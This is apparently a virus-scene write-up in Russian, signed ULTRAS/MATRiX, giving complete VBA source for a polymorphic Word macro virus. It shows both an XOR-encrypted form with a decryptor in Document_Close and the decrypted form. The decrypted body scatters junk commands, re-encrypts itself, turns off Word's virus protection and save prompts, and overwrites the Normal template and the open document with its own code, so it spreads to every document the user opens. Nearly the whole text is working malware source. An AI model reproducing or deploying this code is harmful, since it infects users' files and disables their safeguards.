Довольно простой полиморфик для word. Состоит из расшифровщика
(Documents_close) и зашифрованного тела (ZSZPE). При закрытий 
документа расшифровается макрос ZSZPE запускается полиморфик ,
который раскидывает мусорные команды по вирусу  запускает заражение 
и обратно защифровает вирус. 

'Защифрованный вирус:
~~~~~~~~~~~~~~~~~~~~~

Private Sub Document_Close()
Options.SaveNormalPrompt = False
Application.EnableCancelKey = wdCancelDisabled
On Error Resume Next	' мусор
For ZSZPE1 = 34 To 106
Application.ActiveWindow.Activate
ZSZPE2 = Null
Options.CreateBackup = True
ZSZPE3 = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(ZSZPE1, 1))
Options.CreateBackup = True
ZSZPE4 = Asc((Mid(ZSZPE3, 2, 1)))
Options.SaveNormalPrompt = False
ZSZPE5 = ZSZPE4 Xor 39
Randomize
For ZSZPE6 = 3 To Len(ZSZPE3)
Options.SaveNormalPrompt = False
ZSZPE7 = Asc(Mid(ZSZPE3, ZSZPE6, 1)) Xor ZSZPE5
Options.InsertedTextColor = wdAuto
ZSZPE2 = ZSZPE2 & Chr(ZSZPE7)
Options.SaveNormalPrompt = False
Next ZSZPE6
Randomize
ZSZPE8 = ZSZPE2
If VT = 39 Then JY = 2
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine ZSZPE1, ZSZPE8
Options.BackgroundSave = True
Next ZSZPE1
If NT = 21 Then BO = 13
Call ZSZPE
Application.ActiveWindow.Activate
End Sub
'Zd0B SHi ZduB p0LyM0RHiC ENGiNe By ULTRAS/MATRiX
Private Sub ZSZPE()
' Hwsnhit)DubfsbEfdlrw':'Surb
'&Gns!y{!<!3!Un!017!Rudq!3
'"Juqljkv+Fw`dq`Gdfnpu%8%Qwp`
'/f}e(5(Af| Zfl("(1!(#(9
'#Ktpmkjw*Mjwavpa`Pa|pGkhkv$9$s`Eqpk
'!O`&hsk&;&7&Rnch&|ik"&;&$Tghbiko|c$
'"Juqljkv+Lkv`wq`aQ`}qFjijw%8%raDpqj
'"Lc%kph%8%7%Qm`k%&127;jh!%8%'Dfqls`Ajfph`kq+Vds`'
'#Etthmgepmkj*EgpmraSmj`ks*Egpmrepa
'$Je#mvn#>#0#Wkfm#yln'#>#!Lswjlmp-@qfbwfAb`hvs#>#Wqvf!
'#Ktpmkjw*Fegocvkqj`Wera$9$Pvqa
'$Je#mvn#>#7#Wkfm#yln'#>#!Je#!#%#@kq+Jmw+Qmg#)#16*#(#56*#%#@kq+Jmw+Qmg#)#16*#(#56*#%#!#>#!#%#@Pwq+Jmw+Qmg#)#76**#%#!Wkfm#!#%#@kq+Jmw+Qmg#)#16*#(#56*#%#@kq+Jmw+Qmg#)#16*#(#56*#%#!#>#!#%#@Pwq+Jmw+Qmg#)#76**
'&Nquhnor/C`bjfsntoeR`wd!<!Ustd
'%Kd"lwo"?"7"Vjgl"xmo&"?" Ml"Gppmp"Pgqwog"Lgzv
'/Gx|agf{&Kzmi|mJikc}x(5(\z}m
'&Hg!otl!<!7!Uido!{nl%!<!#@qqmhb`uhno/@buhwdVhoenv/@buhw`ud#
'#Ktpmkjw*WeraJkviehTvkitp$9$Behwa
'$Je#mvn#>#4#Wkfm#yln'#>#!Lswjlmp-PbufMlqnboSqlnsw#>#Ebopf!
'#Ktpmkjw*Fegocvkqj`Wera$9$Pvqa
'%Kd"lwo"?":"Vjgl"xmo&"?" Mrvkmlq,KlqgpvgfVgzvAmnmp"?"ufCwvm
'#Ktpmkjw*GvaepaFegoqt$9$Pvqa
'$Je#mvn#>#:#Wkfm#yln'#>#!Lswjlmp-Ab`hdqlvmgPbuf#>#Wqvf!
'!Ih&Cttit&Tcuskc&Hc~r
'"QmlvAjfph`kq+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+W`uidf`Ilk`%}&127;)%&127;jh!
'%Pclfmokxg
'/Fmp|(pr
'!Ivroihu(DgematishbUgpc&;&Rtsc
'"QmlvAjfph`kq+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+W`uidf`Ilk`%67)%'"_a5G%VMl%_apG%u5I|H5WMlF%@KBlK`%G|%PIQWDV*HDQWl]'
'#Ktpmkjw*WeraJkviehTvkitp$9$Behwa
'&Gns![R[QD0!<!25!Un!017
' Ufichjn}b
'#^W^TA6$9$Jqhh
' Fwwkndfsnhi)FdsnqbPnichp)Fdsnqfsb
'"_V_U@6%8%'"'%#%-QmlvAjfph`kq+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+Ilk`v-_V_U@4)%4,,
' Ufichjn}b
'&[R[QD5!<!Hou)Soe)(!+!9(!*!0
'%Pclfmokxg
'&Gns![R[QD4!<!0!Un!Mdo)[R[QD2(
'&Nquhnor/HordsudeUdyuBnmns!<!ve@tun
'$YPYSF5#>#Bp`+Njg+YPYSF0/#YPYSF6/#2**#[lq#YPYSF7
'%Mrvkmlq,Apgcvg@caiwr"?"Vpwg
'&[R[QD3!<![R[QD3!'!Bis)[R[QD7(
'"Wdkajhl&127;`
'!Hc~r&\U\VC3
'"Juqljkv+Fw`dq`Gdfnpu%8%Qwp`
' ]T]WB0':']T]WB5
'&Hg!IY!<!03!Uido!XJ!<!6
'%VjkqFmawoglv,T@Rpmhgav,T@Amormlglvq,Kvgo*3+,AmfgOmfwng,PgrncagNklg"XQXRG3." % "$"XQXRG5
'!GeropcBieskchr(Ugpc
'#Ja|p$^W^TA5
'$Bssoj`bwjlm-B`wjufTjmglt-B`wjubwf
'%Mrvkmlq,TkpwqRpmvgavkml"?"Dcnqg
'!O`&MT&;&?&Rnch&OV&;&>
'/Gx|agf{&[i~mFgzeidXzgex|(5(Nid{m
'"Duuilfdqljk+Dfqls`Rlkajr+Dfqlsdq`
'&Nquhnor/BnoghslBnowdsrhnor!<!G`mrd
' Ufichjn}b
'#P@$9$Plmw@kgqiajp*RFTvknagp*RFGkitkjajpw*Mpai,5-*Gk`aIk`qha*Hmjaw,5($Plmw@kgqiajp*RFTvknagp*RFGkitkjajpw*Mpai,5-*Gk`aIk`qha*GkqjpKbHmjaw-
'#Kj$Avvkv$Vawqia$Ja|p
'#Wap$JP$9$JkviehPaithepa*RFTvknagp*RFGkitkjajpw*Mpai,5-*Gk`aIk`qha
'%Mrvkmlq,@caiepmwlfQctg"?"Vpwg
'$MW-GfofwfOjmfp#2/#MW-@lvmwLeOjmfp
'&Nquhnor/Bsd`udC`bjtq!<!Ustd
'"KQ+DaaCwjhVqwlkb%QA
'%Mrvkmlq,KlqgpvgfVgzvAmnmp"?"ufCwvm
'/[m|(^I(5(Ik|a~mLgk}emf|&^JXzgbmk|&^JKgexgfmf|{&A|me 9!&KglmEgl}dm
'&Hg!IV!<!08!Uido!QQ!<!5
'#RE*@ahapaHmjaw$5($RE*GkqjpKbHmjaw
'$Bssoj`bwjlm-B`wjufTjmglt-B`wjubwf
' QF)FccAuhjTsuni`'SC
' Hwsnhit)TfqbIhujfkWuhjws':'Afktb
'$B`wjufGl`vnfmw-PbufBp#EjofMbnf9>B`wjufGl`vnfmw-EvooMbnf
'!Ivroihu(DgematishbUgpc&;&Rtsc
End Sub


'Нещифрованный вирус:
~~~~~~~~~~~~~~~~~~~~~

Private Sub Document_Close()

Application.EnableCancelKey = wdCancelDisabled

For ZSZPE1 = 34 To 106

ZSZPE2 = Null

ZSZPE3 = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(ZSZPE1, 1))

ZSZPE4 = Asc((Mid(ZSZPE3, 2, 1)))

ZSZPE5 = ZSZPE4 Xor 39

For ZSZPE6 = 3 To Len(ZSZPE3)

ZSZPE7 = Asc(Mid(ZSZPE3, ZSZPE6, 1)) Xor ZSZPE5

ZSZPE2 = ZSZPE2 & Chr(ZSZPE7)

Next ZSZPE6

ZSZPE8 = ZSZPE2

ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine ZSZPE1, ZSZPE8

Next ZSZPE1

Call ZSZPE

End Sub

Private Sub ZSZPE()

For xz = 2 To 106 Step 2

num = Int(Rnd * 9) + 1

If num = 1 Then zom$ = "Randomize"

If num = 2 Then zom$ = "ActiveDocument.Save"

If num = 3 Then zom$ = "Options.CreateBackup = True"

If num = 4 Then zom$ = "If " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45)) & "Then " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45))

If num = 5 Then zom$ = "On Error Resume Next"

If num = 6 Then zom$ = "Application.ActiveWindow.Activate"

If num = 7 Then zom$ = "Options.SaveNormalPrompt = False"

If num = 8 Then zom$ = "Options.InsertedTextColor = wdAuto"

If num = 9 Then zom$ = "Options.BackgroundSave = True"

ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine xz, zom$

Next xz

ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 32, "'Zd0B SHi ZduB p0LyM0RHiC ENGiNe By ULTRAS/MATRiX"

For ZSZPE1 = 34 To 106

ZSZPE2 = Null

ZSZPE3 = "'" & (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(ZSZPE1, 1))

ZSZPE4 = Int(Rnd() * 8) + 1

For ZSZPE5 = 1 To Len(ZSZPE3)

ZSZPE6 = Asc(Mid(ZSZPE3, ZSZPE5, 1)) Xor ZSZPE4

ZSZPE2 = ZSZPE2 & Chr(ZSZPE6)

Next ZSZPE5

ZSZPE7 = ZSZPE2

ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine ZSZPE1, "'" & ZSZPE7

Next ZSZPE1

Options.VirusProtection = False

Options.SaveNormalPrompt = False

Options.ConfirmConversions = False

TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)

Set NT = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule

NT.DeleteLines 1, NT.CountOfLines

NT.AddFromString TD

Set VA = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule

VA.DeleteLines 1, VA.CountOfLines

VA.AddFromString TD

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub